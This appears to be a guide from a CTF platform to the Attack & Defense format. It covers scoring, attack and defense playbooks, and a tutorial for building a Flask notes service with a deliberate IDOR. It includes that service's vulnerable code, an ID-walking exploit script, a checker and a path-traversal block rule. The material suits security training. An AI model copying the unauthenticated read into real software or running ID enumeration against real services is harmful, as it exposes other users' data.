⚔️

Attack & Defense

A complete guide to the Attack & Defense (A&D) format — what it is, why it exists, and a hands-on methodology for designing a vulnerable service and building the environment it runs in on Glitch Range.

Purpose & Philosophy

What is Attack & Defense?

Attack & Defense is a live, team-vs-team CTF format. Every team is handed an identical server — the vulnbox — running the same set of deliberately vulnerable network services.

Your job is twofold and simultaneous: attack the same service on every other team's box to steal their flags, while defending your own copy by patching the very bugs you are exploiting — without breaking the service.

Why it exists

Unlike Jeopardy CTFs (static puzzles, solve-once), A&D mirrors real security operations: you must find a bug, weaponize it at scale, detect that you are being exploited, ship a fix under pressure, and keep production running the whole time.

It rewards the full loop — offense, defense, reliability, and speed — which is exactly the skill set of a real blue/red team.

The three things you are graded on
Offense — steal other teams' flags Defense — stop others stealing yours SLA — keep your service working

Anatomy of an A&D Challenge

ComponentWhat it is
ServiceA working, networked application (the "challenge") that every team runs. It contains one or more exploitable bugs.
VulnboxThe identical machine each team is given, hosting the service(s). Reachable at 10.100.X.1 / ssh root@vulnbox.glitch.ad.
FlagA secret token matching [A-Z0-9]{31}=. Stored inside the service; stealing it and submitting it scores offense points.
Flag IDA public hint (a username, note id, etc.) published each tick telling attackers which object holds the current flag.
TickThe game clock, typically 60–180 seconds. A fresh flag is planted every tick and stays valid for 5 ticks.
Checker / SLA botThe game-server script that, each tick, exercises the service, plants a new flag, and retrieves recent flags to verify the service still works.
ExploitYour script (Python) that abuses a bug on a target box to read its current flag, then submits it. Run with the glitch tool.
Rhythm of a match: every tick the game server plants a flag in your service → you run exploits against everyone else to grab their tick's flag → you patch bugs on your box → the checker confirms your service still works. Repeat for hundreds of ticks.

How Scoring Works

Each service's score for a tick combines three parts. Design your challenge with all three in mind — a service that is easy to attack but impossible to keep alive punishes everyone.

ComponentFormulaMeaning
SLAsla_score = sqrt(total_teams) / sqrt(teams_passing_sla)Awarded only when all SLA checks pass that tick. Rarer uptime is worth more.
Offenseflag_value = 1 / sqrt(teams_stealing_flag)Points per stolen flag. A flag many teams also stole is worth less.
Defenseservice_score = sla_score + offense_score - defense_scoreBeing exploited subtracts from your total — patch fast.
Design takeaway: if any SLA check fails you earn zero for the tick, so a fragile service is a bigger risk than an unpatched one. Make the reference service rock-solid, and make the intended patch small enough to apply without breaking functionality.
🎮
Part 1
Playing an A&D Game
Connect, attack every other team, and defend your own box — tick after tick.

Quick Start — Your First 10 Minutes

When the match opens, get oriented fast. This is the minimum needed to be both attacking and defending.

1
Connect the VPN
Install WireGuard, import the config the range issues you, and bring it up (e.g. wg-quick up glitch). Confirm reachability by pinging the router 10.100.0.1 and your own vulnbox 10.100.X.1.
2
SSH into your vulnbox
ssh root@vulnbox.glitch.ad — no password. This box is yours to defend; every other team has an identical one at 10.100.<their-id>.1.
3
Inventory the services
Run docker ps to list the running services and their ports. Each one is a separate challenge with its own bug(s) and its own score line.
4
Pull the source
Copy every service off the box to read offline: scp -r root@vulnbox.glitch.ad:/srv ./services. Reading the code is how you find the bug — and the identical code runs on every team.
5
Learn the game state
glitch help lists the commands; glitch targets lists every enemy box you can attack this round.
6
Warm up on the NOP team
Team 1 (nop.glitch.ad / 10.100.1.1) never patches and never attacks. Test every exploit there first — it is the safe sandbox.

The glitch CLI

The glitch tool is how you interact with the game — it finds targets, throws exploits at every team, submits captured flags, and manages your defenses. Players never submit flags by hand: whatever an exploit prints to stdout is submitted automatically.

CommandWhat it does
glitch helpList every available command.
glitch targetsList every reachable enemy vulnbox for the current service.
glitch exploit test <path> [target]Run your exploit once against a single target (usually the NOP box) to verify it works.
glitch exploit throw <path>Fire the exploit at all targets every tick and auto-submit captured flags.
glitch block add <string>Defensive firewall: drop incoming traffic containing a signature you have spotted.
restartRebuild and redeploy the current service after you patch it.
example session
$ glitch targets
service: notepad
  10.100.1.1   nop.glitch.ad   (practice)
  10.100.3.1   team-03
  10.100.7.1   team-07

$ glitch exploit test exploit.py nop.glitch.ad
[+] flag: 7QF3K2M9ZP1A0BXR4TVE6YHJ8NDCWSL=
[+] test OK — 1 flag captured

$ glitch exploit throw exploit.py
[tick 142] 9 targets -> 7 flags submitted, 2 down
Set-and-forget: once an exploit works, glitch exploit throw keeps running it every tick against everyone and submits automatically — so your job becomes finding more bugs, not babysitting one.

Offense Playbook — Stealing Flags

Offense is a loop: find a bug once, then harvest that flag from every team, every tick, automatically.

1
Read the service, find the bug
The identical code runs on every team, so one bug yields flags from everyone. Diff against a clean copy, grep for dangerous patterns, and trace any path that returns stored data without an ownership or authorization check.
2
Locate the current flag
Each tick the game server plants a fresh flag and publishes a flag ID (a username, note id, ticket number…) telling you which object holds it. Your exploit takes the target host and that flag ID as arguments.
3
Write a getflag exploit
In Python: connect to target:port, abuse the bug, and print() anything matching [A-Z0-9]{31}=. Whatever your exploit prints to stdout is submitted for you.
4
Test it on NOP
glitch exploit test exploit.py nop.glitch.ad. If it prints a valid flag, you are ready to go live.
5
Throw at everyone
glitch exploit throw exploit.py runs your exploit against all targets every tick and auto-submits captured flags. Leave it running and keep refining.
6
Respect the 5-tick window
Flags expire after 5 ticks, so a stolen flag must be submitted fast. throw handles the timing; any manual submission has to be quick.
Example: a getflag exploit
exploit.py
import sys, re, requests
host    = sys.argv[1]        # target vulnbox, e.g. 10.100.7.1
flag_id = sys.argv[2]        # the note owner the game server published this tick

# IDOR: notes have no ownership check, so walk IDs until the flag appears
for nid in range(1, 500):
    r = requests.get(f"http://{host}:5000/note/{nid}", timeout=3)
    m = re.search(r"[A-Z0-9]{31}=", r.text)
    if m:
        print(m.group(0))    # anything printed is auto-submitted
The exploit reads the target host and flag ID from the command line — glitch exploit throw supplies both for every target automatically. (The vulnerable service this attacks is built step-by-step in Part 2.)

Defense Playbook — Protecting Your Box

You cannot take a service offline to defend it — that fails your SLA. The art is closing bugs while keeping every feature the checker uses alive.

1
Watch your traffic
Tail the logs (docker logs -f <svc>) and sniff the wire (tcpdump -i any port 5000 -A, or run mitmproxy). Attacks show up as odd, repeated requests hammering one endpoint.
2
Identify the exploited bug
Match those malicious requests to a code path. That request pattern is the exploit every team is running against you.
3
Patch without breaking SLA
Edit the service source on your box to close the bug while keeping the feature working — the checker uses it. Redeploy with restart in the service directory.
4
Confirm SLA stays green
After the next tick, verify all checks pass. A patch that breaks functionality earns you zero for every tick it is down — worse than the leak itself.
5
Buy time with a block rule
While you write the real fix, drop the malicious signature: glitch block add <string>. Pick something the attacker sends but the checker never does.
6
Stay quiet and reversible
Attackers sniffing traffic can steal your patch idea — don't broadcast it. Back up the original service first so you can roll back instantly if a patch fails SLA.
Example: patch, then buy time
# 1) Real fix: enforce ownership in read()  (keeps the feature, kills the IDOR)
if n["owner"] != current_user():
    return ("forbidden", 403)
# then redeploy:  restart

# 2) Stop-gap while you code the fix -- drop a traversal payload the checker never sends:
$ glitch block add "../"
Never block the checker. A block add rule that also matches the scoring server's requests fails your SLA instantly — costing more than the leak you were trying to stop.

Strategy & Tactics

Points come from three places at once — uptime, stealing, and not being stolen from. Winning teams treat it as an operations problem, not a one-shot puzzle.

Do

  • Prioritise uptime — a down service scores zero, patched or not.
  • Split roles: attackers, defenders, and someone keeping the box healthy.
  • Exploit early and wide — a flag's value drops as more teams grab it.
  • Automate with glitch exploit throw and leave it running.
  • Test everything on the NOP box before going live.
  • Read the current flag each tick via its flag ID — never hardcode a flag.
  • Back up a service before patching so you can roll back fast.

Don't

  • Over-patch and break the checker — SLA = 0 hurts more than one leaked flag.
  • Block traffic the checker sends — instant SLA failure.
  • Reveal your patch in traffic others can sniff.
  • Assume a working exploit keeps working — flags rotate, so re-test.
  • Sit on a captured flag — it expires in 5 ticks.
  • Forget to restart after editing a service.
The math that drives tactics: offense is 1/sqrt(teams_stealing), so being first and hitting everyone is worth the most; SLA is sqrt(total)/sqrt(passing), so staying up when others are down is hugely valuable. Both reward moving fast and never going dark.

Vulnbox Command Cheat-Sheet

Handy commands once you are SSH'd into your box (ssh root@vulnbox.glitch.ad).

docker ps                         # which services am I running?
docker logs -f notepad            # live traffic + errors for one service
docker exec -it notepad sh        # shell inside a service container
ss -tlnp                          # which ports are listening
tcpdump -i any port 5000 -A       # sniff attacks hitting a service
grep -R flag /srv                 # check YOU are not leaking flags to disk
restart                           # rebuild + redeploy after patching
glitch block add "<signature>"    # firewall-drop a malicious pattern

One Tick, Start to Finish

What happens each tick, from your seat
  1. The game server plants a fresh flag in every team's copy of each service and publishes the new flag IDs.
  2. Your running glitch exploit throw jobs fire at all targets, capture this tick's flags, and submit them.
  3. You glance at the scoreboard / API: which services are you scoring on, and which are leaking to others?
  4. On defense, you scan docker logs and tcpdump for new attack patterns against your box.
  5. Spot an attack → patch the bug and restart, or drop it with glitch block add.
  6. The checker hits your box: it plants and retrieves the flag and exercises functionality. All pass → you bank SLA for the tick.
  7. Repeat for hundreds of ticks — small, consistent edges compound into the win.

Glossary

Vulnbox
The identical server each team runs and defends.
Service
One networked app on the vulnbox — a single challenge with its own score line.
Flag
A secret token matching [A-Z0-9]{31}=, planted inside a service. Submit stolen ones to score offense points.
Flag ID
A public hint published each tick telling attackers which object holds the current flag.
Tick
The game clock (typically 60–180 s). A new flag is planted every tick; flags stay valid for 5 ticks.
SLA
Service-Level Agreement — the uptime / functionality check. Fail any part and you score nothing that tick.
Checker
The game-server bot that plants and retrieves flags and tests functionality each tick.
Exploit
Your script that abuses a bug on a target to read its flag.
getflag
An exploit whose job is to retrieve the current flag from a target.
throw
Running an exploit against all targets every tick: glitch exploit throw.
NOP team
The non-playing practice box (nop.glitch.ad) — safe to test exploits on.
First blood
The first team to steal a given flag; early exploits are worth the most.
🛠️
Part 2
Building an A&D Challenge
Design a vulnerable service, write its checker, and deploy the environment it runs in.

Methodology: Designing the Service (Challenge)

A good A&D challenge is a small, believable application with a deliberate, patchable flaw. Work through these steps before you write any infrastructure.

Step 1
Pick a realistic service
Model your challenge on a real piece of software: a note-taking API, a chat server, a key-value store, a file locker, an IoT control panel. Give it genuine, working functionality — teams must be able to use it, because the scoring server exercises that functionality every tick. A service that only holds a flag and nothing else is trivial to patch and boring to attack.
Step 2
Design the flag store
Decide where flags live inside the service — a database row, a file on disk, an in-memory dictionary. The store must let the checker plant a fresh flag each tick and retrieve flags from the last 5 ticks. Tie each flag to a public identifier (the flag ID, e.g. a username or note ID) so attackers know what to request once they have an exploit.
Step 3
Plant the vulnerability
Introduce one clear, patchable bug that lets an attacker read another team's flag: an IDOR / missing authorization check, a path traversal, a weak crypto key, an auth bypass, a command injection. The fix should be a small, local code change — teams patch their own copy while keeping the service functional. Avoid bugs that can only be fixed by breaking the intended functionality (that fails everyone's SLA).
Step 4
Keep it deterministic & stable
The service must behave identically for every team and never crash under normal use. No random flag placement, no reliance on wall-clock, no memory leaks that kill it after an hour. If the reference service is flaky, honest teams lose SLA points through no fault of their own.
Step 5
Tune difficulty & layers
A good service often hides two bugs: an easy one to get first blood and a subtle one that rewards deeper analysis. Make sure the intended exploit runs inside a single tick (60–180 s) — if stealing a flag takes longer than a tick, it expires before it can be submitted.

Methodology: Building the Environment

Once the service exists, you package and deploy it into the game. The environment is what makes the same challenge run identically on every team's box and lets the game server score it automatically.

Env 1
Containerize the service
Ship the service as a Docker image with a pinned base, all dependencies, and a single entrypoint. One image = one deployable vulnbox service. Expose exactly the port the checker will talk to. This image is copied to every team's vulnbox, so it must be self-contained and reproducible.
Env 2
Assemble the vulnbox
The vulnbox is the identical machine each team receives (reachable at 10.100.X.1, or ssh root@vulnbox.glitch.ad). It runs one or more service containers via docker compose. Bundle a restart helper so teams can rebuild a service after patching, and make sure nothing on the box reveals other teams' flags.
Env 3
Wire up the game server
The central scoring / game server drives the match. Every tick it connects to each team's service to (1) verify basic functionality, (2) plant a new flag, and (3) retrieve flags from recent ticks. It publishes the flag ID for the current tick and enforces the flag lifetime of 5 ticks. All of this logic lives in the checker (next section).
Env 4
Define the network
Each team gets subnet 10.100.X.0/24 (X = team ID). The vulnbox is 10.100.X.1; players join over WireGuard in the 10.100.X.5–254 range; the router is 10.100.0.1; the practice NOP team is 10.100.1.1 (nop.glitch.ad). Your service must bind on all interfaces so every team can reach it.
Env 5
Deploy & smoke-test
Bring the stack up, register the service + checker with the game server, and run a full tick against the NOP team before the match: plant a flag, retrieve it, confirm SLA passes. Then validate your own exploit end-to-end with the glitch tool (below) so you know the intended solution actually works under real timing.

Network Layout

🌐
Game / Scoring Server
plants & checks flags every tick
📡
Central Router
10.100.0.1
🤖
NOP Team (practice)
10.100.1.1 · nop.glitch.ad
💻
Your Vulnbox
10.100.X.1
👤
Your Players (VPN)
10.100.X.5 – .254
Every team lives in 10.100.X.0/24 (X = team ID). Players connect over WireGuard; the vulnbox is always the .1 of the subnet.
For the challenge author: bind your service to 0.0.0.0, never 127.0.0.1 — the checker and every attacking team reach it across the range. Test attacks against the NOP box at nop.glitch.ad first.

The Checker (SLA Bot)

The checker is the most important piece of infrastructure you write. Every tick, for every team, the game server runs it to do three jobs. If any raise an error, that team's SLA fails for the tick.

  • PUT flag — use the service normally to store the tick's flag, remembering the public flag ID.
  • GET flag — fetch flags planted in the last 5 ticks and confirm they match exactly.
  • Functionality check — exercise other endpoints to prove the service isn't crippled (e.g. a team can't just delete the vulnerable feature to defend).
checker.py — simplified skeleton
# Called by the game server once per tick, per team.
# exit 0 = SLA OK, non-zero / exception = SLA DOWN.

def put_flag(host, flag, flag_id):
    # Store the flag using the service's real API
    r = requests.post(f"http://{host}:5000/note",
                      json={"owner": flag_id, "body": flag})
    assert r.status_code == 200

def get_flag(host, flag, flag_id):
    # Retrieve it back the intended (authorized) way
    r = requests.get(f"http://{host}:5000/note/{flag_id}",
                     headers=auth_as(flag_id))
    assert flag in r.text        # flag survived => service healthy

def check_functionality(host):
    # Prove unrelated features still work
    assert requests.get(f"http://{host}:5000/health").json()["ok"]
Golden rule: the checker must store and read flags the legitimate way. The bug is what lets attackers read them the illegitimate way. Keep those two paths separate so a team can patch the bug without failing the checker.

Full Tutorial: Build a Service End-to-End

We'll build Notepad, a tiny note-storage service, and plant a classic IDOR (Insecure Direct Object Reference): any user can read any note by guessing its ID, with no ownership check. Flags are stored as note bodies; the flag ID is the note's owner name.

1 · The vulnerable service
app.py
from flask import Flask, request, jsonify
app = Flask(__name__)
NOTES = {}          # id -> {"owner":..., "body":...}  (the flag store)
_next = [1]

@app.post("/note")
def create():
    d = request.get_json()
    nid = _next[0]; _next[0] += 1
    NOTES[nid] = {"owner": d["owner"], "body": d["body"]}
    return jsonify(id=nid)

@app.get("/note/<int:nid>")
def read(nid):
    n = NOTES.get(nid)
    # !!! VULN: no check that request.user == n["owner"]  (IDOR)
    return jsonify(body=n["body"]) if n else ("", 404)

@app.get("/health")
def health(): return jsonify(ok=True)

app.run(host="0.0.0.0", port=5000)   # bind ALL interfaces
2 · Containerize it
Dockerfile
FROM python:3.12-slim
WORKDIR /srv
RUN pip install flask
COPY app.py .
EXPOSE 5000
CMD ["python", "app.py"]
docker-compose.yml
services:
  notepad:
    build: .
    restart: always
    ports:
      - "5000:5000"
The restart helper: defending teams edit app.py to add the ownership check, then run restart in the service directory (a wrapper around docker compose up -d --build) to redeploy their patched copy.
3 · The exploit
exploit.py
import sys, re, requests
host = sys.argv[1]                       # target vulnbox, e.g. 10.100.7.1
flag_id = sys.argv[2]                     # published by the game server this tick

# IDOR: walk note IDs and read bodies with no auth
for nid in range(1, 500):
    r = requests.get(f"http://{host}:5000/note/{nid}", timeout=3)
    m = re.search(r"[A-Z0-9]{31}=", r.text)   # the flag format
    if m:
        print(m.group(0))                # stdout => submitted by glitch
4 · The intended patch (defense)
# In read(nid): enforce ownership BEFORE returning the body.
if n["owner"] != current_user():
    return ("", 403)               # bug closed, checker still passes
Why this is a good bug: the checker plants and reads via the authorized path, so adding the ownership check keeps SLA green while completely closing the IDOR. Functionality is preserved — the mark of a well-designed A&D flaw.

Common Pitfalls (for Authors)

Unpatchable bug. If the only way to stop the exploit is to break the feature the checker uses, every team fails SLA. Always confirm a small patch exists that keeps functionality intact.
Flag can't be stolen within a tick. Exploits that need minutes will miss the 5-tick flag lifetime. Keep the intended attack fast.
Service binds to localhost. Bind to 0.0.0.0 or neither the checker nor attackers can reach it — instant SLA zero for everyone.
Flag leaks to disk/logs. Don't log flag values or write them where ssh root@vulnbox trivially reveals them — that removes any skill from the attack.
Non-deterministic behavior. Randomness, time-of-day logic, or memory growth make the checker flaky and unfairly punish honest teams.

Pre-Deployment Checklist

  • Service offers real, testable functionality beyond holding the flag.
  • At least one clear, patchable vulnerability that leaks a flag.
  • Flag store supports planting a new flag each tick and reading the last 5.
  • Flags match [A-Z0-9]{31}= and are never logged or written to obvious files.
  • Service binds to 0.0.0.0 and runs from a reproducible Docker image.
  • Checker performs PUT, GET, and an independent functionality check.
  • Intended exploit steals a fresh flag in well under one tick.
  • Intended patch closes the bug while keeping every SLA check green.
  • Everything smoke-tested against the NOP team (nop.glitch.ad) before launch.